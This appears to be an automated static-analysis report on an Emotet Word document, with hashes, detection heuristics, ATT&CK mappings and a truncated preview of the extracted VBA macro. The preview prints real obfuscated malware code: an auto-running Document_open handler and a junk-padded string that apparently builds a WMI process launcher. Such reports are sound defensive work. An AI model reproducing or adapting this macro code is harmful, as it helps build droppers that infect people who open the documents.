Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 2b6d2eb499eac8fa…

MALICIOUS

Office (OLE)

232.4 KB Created: 2020-09-04 16:35:00 Authoring application: Microsoft Office Word First seen: 2020-09-15
MD5: ab0ea18bcb2f294006a478065ddfb856 SHA-1: 9b4c7b92969033604c9d5e4aa1b5299397d089e6 SHA-256: 2b6d2eb499eac8fa63d179421f0bbf8bbcfb0dab8d7008294332a23ef8ed38e6
202 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, specifically a Document_Open macro, which is a common technique for Emotet. The macro uses CreateObject to execute obfuscated code, likely to download and run a secondary payload. The ClamAV detection name also strongly suggests the Emotet family.

Heuristics 6

  • ClamAV: Doc.Downloader.EmotetRed02226-9938639-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.EmotetRed02226-9938639-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 14516 bytes
SHA-256: ea148a0cf7ca7e3997e3bf1b0d3e204626a8ac2b8b2b118022a70c67f16341f7
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "K2cj8nz_g_ci"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
T6n0k_w4050_pbk = Array(S9peaogdg_9 + "Fj2s0hmcs2rh6igflCoy6j2krtmyj3kc2w1 Mah1iu0rhk4" + A4i8uhm__hsy, Ji0geexrc597yplkkd, Zdudaopuoha7cwje9.Zc_41ry67tbszb4, Teyquottj1ej + "O16lakdfg300la7 Azzek9713p4vvn20v I9v_ka_bvm1sin Tiaqfjw6etwrsv4a")
End Sub


Attribute VB_Name = "Zdudaopuoha7cwje9"
Attribute VB_Base = "0{32F63283-2A8E-4922-B27B-E06EDC9F603B}{94065ADD-9DB8-4F36-8977-78CEC50D4307}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Zc_41ry67tbszb4()
On Error Resume Next
   Set Dqlgtyuhl4e9 = Zdudaopuoha7cwje9
GfcAakqYXf97 = 2617
OBqnlcfukj56 = B
QvYlpwzYpE53 = Asc(OBqnlcfukj56)
If GfcAakqYXf97 > QvYlpwzYpE53 Then
    For spbleWCnxF49 = 1 To 14
       FYSWnlaLbz34 = QvYlpwzYpE53 + spbleWCnxF49
    Next spbleWCnxF49
FYSWnlaLbz34 = FYSWnlaLbz34 + GfcAakqYXf97
LTZOyfEKpZ13 = CStr(FYSWnlaLbz34)
tXdlwzaaJJ89 = Mid$(LTZOyfEKpZ13, 1, 4)
XSIpxqAtva73 = XSIpxqAtva73 & "34"
HvwiGjRTMe32 = CInt(Mid$(XSIpxqAtva73, 2, 6))
Else
HvwiGjRTMe32 = 14 + 2617
MsgBox ("dioVsMssjq51")
End If
Ejh7rjm3ltym0sp5j6 = 105
   Set Dqlgtyuhl4e9 = Zdudaopuoha7cwje9
GfcAakqYXf97 = 2617
OBqnlcfukj56 = B
QvYlpwzYpE53 = Asc(OBqnlcfukj56)
If GfcAakqYXf97 > QvYlpwzYpE53 Then
    For spbleWCnxF49 = 1 To 14
       FYSWnlaLbz34 = QvYlpwzYpE53 + spbleWCnxF49
    Next spbleWCnxF49
FYSWnlaLbz34 = FYSWnlaLbz34 + GfcAakqYXf97
LTZOyfEKpZ13 = CStr(FYSWnlaLbz34)
tXdlwzaaJJ89 = Mid$(LTZOyfEKpZ13, 1, 4)
XSIpxqAtva73 = XSIpxqAtva73 & "34"
HvwiGjRTMe32 = CInt(Mid$(XSIpxqAtva73, 2, 6))
Else
HvwiGjRTMe32 = 14 + 2617
MsgBox ("dioVsMssjq51")
End If
Sdze9eur079v = Chr$(Ejh7rjm3ltym0sp5j6 + (10))
   Set Dqlgtyuhl4e9 = Zdudaopuoha7cwje9
GfcAakqYXf97 = 2617
OBqnlcfukj56 = B
QvYlpwzYpE53 = Asc(OBqnlcfukj56)
If GfcAakqYXf97 > QvYlpwzYpE53 Then
    For spbleWCnxF49 = 1 To 14
       FYSWnlaLbz34 = QvYlpwzYpE53 + spbleWCnxF49
    Next spbleWCnxF49
FYSWnlaLbz34 = FYSWnlaLbz34 + GfcAakqYXf97
LTZOyfEKpZ13 = CStr(FYSWnlaLbz34)
tXdlwzaaJJ89 = Mid$(LTZOyfEKpZ13, 1, 4)
XSIpxqAtva73 = XSIpxqAtva73 & "34"
HvwiGjRTMe32 = CInt(Mid$(XSIpxqAtva73, 2, 6))
Else
HvwiGjRTMe32 = 14 + 2617
MsgBox ("dioVsMssjq51")
End If
Zs56jmnj13e3lk_r1u = "b3bb 17t2 fvhvhjb3bb 17t2 fvhvhjwb3bb 17t2 fvhvhjib3bb 17t2 fvhvhjnmb3bb 17t2 fvhvhjb3bb 17t2 fvhvhjgmb3bb 17t2 fvhvhjtb3bb 17t2 fvhvhjb3bb 17t2 fvhvhj" + Sdze9eur079v + "b3bb 17t2 fvhvhjb3bb 17t2 fvhvhj:b3bb 17t2 fvhvhjwb3bb 17t2 fvhvhjinb3bb 17t2 fvhvhjb3bb 17t2 fvhvhj3b3bb 17t2 fvhvhj2b3bb 17t2 fvhvhj_b3bb 17t2 fvhvhj" + Zdudaopuoha7cwje9.J9oqkoxv0m6v + "b3bb 17t2 fvhvhjrob3bb 17t2 fvhvhjb3bb 17t2 fvhvhjceb3bb 17t2 fvhvhjsb3bb 17t2 fvhvhjsb3bb 17t2 fvhvhj"
   Set Dqlgtyuhl4e9 = Zdudaopuoha7cwje9
GfcAakqYXf97 = 2617
OBqnlcfukj56 = B
QvYlpwzYpE53 = Asc(OBqnlcfukj56)
If GfcAakqYXf97 > QvYlpwzYpE53 Then
    For spbleWCnxF49 = 1 To 14
       FYSWnlaLbz34 = QvYlpwzYpE53 + spbleWCnxF49
    Next spbleWCnxF49
FYSWnlaLbz34 = FYSWnlaLbz34 + GfcAakqYXf97
LTZOyfEKpZ13 = CStr(FYSWnlaLbz34)
tXdlwzaaJJ89 = Mid$(LTZOyfEKpZ13, 1, 4)
XSIpxqAtva73 = XSIpxqAtva73 & "34"
HvwiGjRTMe32 = CInt(Mid$(XSIpxqAtva73, 2, 6))
Else
HvwiGjRTMe32 = 14 + 2617
MsgBox ("dioVsMssjq51")
End If
K8z7xo_8_g7wdfy = Oopkeg7y_anzidk(Zs56jmnj13e3lk_r1u)
   Set Dqlgtyuhl4e9 = Zdudaopuoha7cwje9
GfcAakqYXf97 = 2617
OBqnlcfukj56 = B
QvYlpwzYpE53 = Asc(OBqnlcfukj56)
If GfcAakqYXf97 > QvYlpwzYpE53 Then
    For spbleWCnxF49 = 1 To 14
       FYSWnlaLbz34 = QvYlpwzYpE53 + spbleWCnxF49
    Next spbleWCnxF49
FYSWnlaLbz34 = FYSWnlaLbz34 + GfcAakqYXf97
LTZOyfEKpZ13 = CStr(FYSWnlaLbz34)
tXdlwzaaJJ89 = Mid$(LTZOyfEKpZ13, 1, 4)
XSIpxqAtva73 = XSIpxqAtva73 & 
... (truncated)

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